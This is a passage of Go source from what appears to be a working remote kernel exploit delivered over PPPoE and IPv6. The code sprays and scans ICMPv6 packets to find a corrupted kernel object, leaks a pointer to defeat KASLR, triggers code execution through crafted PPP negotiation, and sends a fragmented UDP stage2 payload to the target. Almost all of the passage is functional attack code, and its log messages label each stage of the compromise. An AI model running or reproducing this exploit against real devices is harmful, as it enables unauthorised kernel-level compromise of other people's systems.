		if err != nil {
			return err
		}
	}

	// recv
	logger.Infof("[*] Waiting for LCP configure reject... (wait %s)", e.timeout.String())
	ctx, c := context.WithTimeout(e.ctx, e.timeout)
	defer c()

	err = e.p.Receive(&packet.ReceiveParams{
		Ctx: ctx,
		Log: true,
		Layer: []*packet.LayerValue{
			{
				Layer: layers.LayerTypePPP,
				Check: func(val any) bool {
					if p, ok := val.(*layers.PPP); ok {
						if p.PPPType == lcp.ProtoLCP {
							if p.LayerPayload()[0] == uint8(lcp.CodeConfigureReject) {
								return true
							}
						}
					}
					return false
				},
			},
		},
	})
	if err != nil {
		return err
	}

	// Re-negotiate after rejection
	err = e.lcpNegotiation()
	if err != nil {
		return err
	}
	err = e.ipcpNegotiation()
	if err != nil {
		return err
	}

	var sourceIPv6 net.IP
	corrupted := false

	// TODO: Time consumption is too long
	for i := SPRAY_NUM - 1; i >= 0; i-- {
		if i%0x100 == 0 {
			fmt.Printf("[*] Scanning for corrupted object...%x\r", i)
		}
		if i >= HOLE_START && i%HOLE_SPACE == 0 {
			continue
		}

		// send
		sourceIPv6 = net.ParseIP(fmt.Sprintf("fe80::%04x:4141:4141:4141", i))
		err = e.p.SendICMPv6(&packet.SendICMPv6Params{
			SrcMAC:       e.sourceMac,
			DstMAC:       e.targetMac,
			EthernetType: layers.EthernetTypeIPv6,
			SrcIP:        sourceIPv6,
			DstIP:        e.targetIPv6,
			HopLimit:     64,
			ICMPv6Type:   layers.ICMPv6TypeEchoRequest,
			Layers: []gopacket.SerializableLayer{
				&layers.ICMPv6Echo{},
			},
		})
		if err != nil {
			return err
		}

		// recv
		err = e.p.Receive(&packet.ReceiveParams{
			Ctx: e.ctx,
			Log: false,
			Layer: []*packet.LayerValue{
				{
					Layer: layers.LayerTypeICMPv6,
					Check: func(val any) bool {
						if icmpv6, ok := val.(*layers.ICMPv6); ok {
							if icmpv6.TypeCode.Type() == layers.ICMPv6TypeEchoReply {
								return true
							} else if icmpv6.TypeCode.Type() == layers.ICMPv6TypeNeighborSolicitation {
								corrupted = true
								return true
							}
						}
						return false
					},
				},
			},
		})
		if err != nil {
			return err
		}
		if corrupted {
			break
		}

		err = e.p.SendICMPv6(&packet.SendICMPv6Params{
			SrcMAC:       e.sourceMac,
			DstMAC:       e.targetMac,
			EthernetType: layers.EthernetTypeIPv6,
			SrcIP:        sourceIPv6,
			DstIP:        e.targetIPv6,
			HopLimit:     255,
			ICMPv6Type:   layers.ICMPv6TypeNeighborAdvertisement,
			Layers: []gopacket.SerializableLayer{
				&layers.ICMPv6NeighborAdvertisement{
					TargetAddress: sourceIPv6,
					Flags:         0xE0,
					Options: []layers.ICMPv6Option{
						{
							Type: layers.ICMPv6OptTargetAddress,
							Data: e.sourceMac,
						},
					},
				},
			},
		})
		if err != nil {
			return err
		}
	}

	if !corrupted {
		logger.Infof("[-] Scanning for corrupted object...failed. Please retry.")
		return errors.ScanningCorruptedFailedError
	}

	logger.Infof("[+] Scanning for corrupted object...found %v", sourceIPv6.String())
	return nil
}

func (e *Exploit) runStage2() (err error) {
	var data []byte
	logger.Infof("[*] Defeating KASLR... (wait %s)", e.timeout.String())
	end := false
	ctx, c := context.WithTimeout(e.ctx, e.timeout)
	defer c()
	_, ns, err := e.p.ReceiveICMPv6NS(ctx, true)
	if err != nil {
		return err
	}

	for _, opt := range ns.Options {
		if opt.Type == layers.ICMPv6OptSourceAddress && len(opt.Data) > 1 {
			if len(opt.Data) >= 9 {
				data = opt.Data
				end = true
			}
			break
		}
	}
	if !end {
		logger.Infof("[-] Error leak is invalid. Wrong ICMPv6NeighborSolicitation")
		return errors.KASLRLeakInvalidError
	}

	e.pppoeSoftcList = binary.LittleEndian.Uint64(data[1:9])
	logger.Infof("[+] pppoe_softc_list: %x", e.pppoeSoftcList)
	e.kaslrOffset = e.pppoeSoftcList - e.offs.PPPOE_SOFTC_LIST
	logger.Infof("[+] kaslr_offset: %x", e.kaslrOffset)

	if e.pppoeSoftcList&0xffffffff00000fff != e.offs.PPPOE_SOFTC_LIST&0xffffffff00000fff {
		logger.Infof("[-] Error leak is invalid. Wrong firmware?")
		return errors.KASLRLeakInvalidError
	}
	return nil
}

func (e *Exploit) runStage3() (err error) {
	err = e.lcpTerminate()
	if err != nil {
		return err
	}

	err = e.pppNegotiation(e.BuildFakeLle, false)
	if err != nil {
		return err
	}

	logger.Infof("[*] Triggering code execution...")
	err = e.p.SendICMPv6(&packet.SendICMPv6Params{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypeIPv6,
		SrcIP:        net.ParseIP(SOURCE_IPV6),
		DstIP:        e.targetIPv6,
		HopLimit:     64,
		ICMPv6Type:   layers.ICMPv6TypeEchoRequest,
		Layers: []gopacket.SerializableLayer{
			&layers.ICMPv6Echo{},
		},
	})
	if err != nil {
		return err
	}
	logger.Infof("[*] Waiting for stage1 to resume...")
	count := 0
	for count < 3 {
		_, _, err = e.p.ReceiveLCP(e.ctx, lcp.ProtoLCP, lcp.CodeConfigureRequest)
		if err != nil {
			return err
		}
		count++
	}

	err = e.pppTerminate()
	if err != nil {
		return err
	}

	err = e.pppNegotiation(nil, false)
	if err != nil {
		return err
	}
	err = e.lcpNegotiation()
	if err != nil {
		return err
	}
	err = e.ipcpNegotiation()
	if err != nil {
		return err
	}
	return nil
}

func (e *Exploit) runStage4() (err error) {
	logger.Infof("[*] Sending stage2 payload...")

	fragmentSize := 1024
	offset := 0
	udpHeaderLen := 8
	udpDataLen := 8
	eth := &layers.Ethernet{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypeIPv4,
	}
	udp := &layers.UDP{
		SrcPort: 53,
		DstPort: STAGE2_PORT,
	}

	ipv4 := &layers.IPv4{
		Version:  4,
		Id:       1,
		SrcIP:    net.ParseIP(SOURCE_IPV4),
		DstIP:    net.ParseIP(TARGET_IPV4),
		Protocol: layers.IPProtocolUDP,
		TTL:      64,
		Flags:    layers.IPv4MoreFragments,
	}
	var layer []gopacket.SerializableLayer
	for offset < len(e.stage2) {
		fOffset := uint16(offset / 8)
		if offset != 0 {
			fOffset++
		}
		ipv4.FragOffset = fOffset
		payloadSize := fragmentSize

		// first
		if offset == 0 {
			payloadSize -= udpDataLen
		}
		// last
		if offset+payloadSize >= len(e.stage2) {
			ipv4.Flags = 0
			payloadSize = len(e.stage2) - offset
		}

		payload := gopacket.Payload(e.stage2[offset : offset+payloadSize])
		offset += payloadSize
		// first
		if offset == payloadSize {
			udp.Length = uint16(udpHeaderLen + len(e.stage2))
			err = udp.SetNetworkLayerForChecksum(ipv4)
			if err != nil {
				return err
			}
			data, err := e.p.ToBytes(&packet.SendParams{
				Layers: []gopacket.SerializableLayer{
					udp,
				},
			})
			if err != nil {
				return err
			}
			checkData := bytes.NewBuffer(data)
			checkData.Write(e.stage2)
			checksum := utils.IPv4UDPChecksum(ipv4.SrcIP.To4(), ipv4.DstIP.To4(), uint8(layers.IPProtocolUDP), checkData.Bytes())
			binary.BigEndian.PutUint16(data[6:8], checksum)
			layer = []gopacket.SerializableLayer{eth, ipv4, gopacket.Payload(data), payload}
		} else {
			layer = []gopacket.SerializableLayer{eth, ipv4, payload}
		}
		err = e.p.Send(&packet.SendParams{
			FixLengths:       true,
			ComputeChecksums: true,
			Layers:           layer,
		})
		if err != nil {
			return err
		}
	}
	logger.Infof("[+] Done!")
	return nil
}

func (e *Exploit) Run() (err error) {
	fmt.Println()
	logger.Infof("[+] STAGE 0: Initialization")
	err = e.runStage0()
	if err != nil {
		return err
	}

	fmt.Println()
	logger.Infof("[+] STAGE 1: Memory corruption")
	err = e.runStage1()
	if err != nil {
		return err
	}

	fmt.Println()
	logger.Infof("[+] STAGE 2: KASLR defeat")
	err = e.runStage2()
	if err != nil {
		return err
	}

	fmt.Println()
	logger.Infof("[+] STAGE 3: Remote code execution")
	err = e.runStage3()
	if err != nil {
		return err
	}

	fmt.Println()
	logger.Infof("[+] STAGE 4: Arbitrary payload execution")
	err = e.runStage4()
	if err != nil {
		return err
	}
	return nil
}

func (e *Exploit) End() (err error) {
	err = e.pppTerminate()
	if err != nil {
		return err
	}
	return nil
}
